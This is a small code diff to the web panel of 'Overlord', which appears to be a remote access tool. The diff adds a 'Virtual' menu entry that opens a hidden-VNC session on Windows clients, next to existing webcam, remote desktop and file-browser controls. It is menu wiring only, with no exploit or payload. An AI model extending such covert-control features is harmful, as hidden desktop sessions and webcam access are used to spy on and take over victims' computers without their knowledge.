virtual mode

Overlord-Server/public/assets/main.js

@@ -441,6 +441,9 @@ function applyMenuSupportRules(clientId) {
   const hvncBtn = menu.querySelector('[data-open="Backstage"]');
   setAvailability(hvncBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline");
 
+  const hiddenBtn = menu.querySelector('[data-open="Virtual"]');
+  setAvailability(hiddenBtn, isOnline && isWindows, isOnline ? "Virtual mode is only supported on Windows clients." : "Client is offline");
+
   const webcamBtn = menu.querySelector('[data-open="webcam"]');
   setAvailability(webcamBtn, isOnline && isWindows, isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline");
 
@@ -497,6 +500,7 @@ const MENU_OPEN_TO_FEATURE = {
   console: "console",
   remotedesktop: "remote_desktop",
   Backstage: "hvnc",
+  Hidden: "hvnc",
   webcam: "webcam",
   files: "file_browser",
   processes: "processes",
@@ -2055,6 +2059,13 @@ menu.addEventListener("click", async (e) => {
     closeMenu(clearContext);
     return;
   }
+  if (open === "Virtual") {
+    // mode=hidden is understood by older hvnc.js builds; current builds treat
+    // it as the virtual-monitor mode compatibility alias.
+    window.open(`/hvnc?clientId=${contextCard}&mode=hidden`, "_blank", "noopener");
+    closeMenu(clearContext);
+    return;
+  }
   if (open === "files") {
     const platform = detectClientPlatform(contextCard);
     if (platform !== "windows") {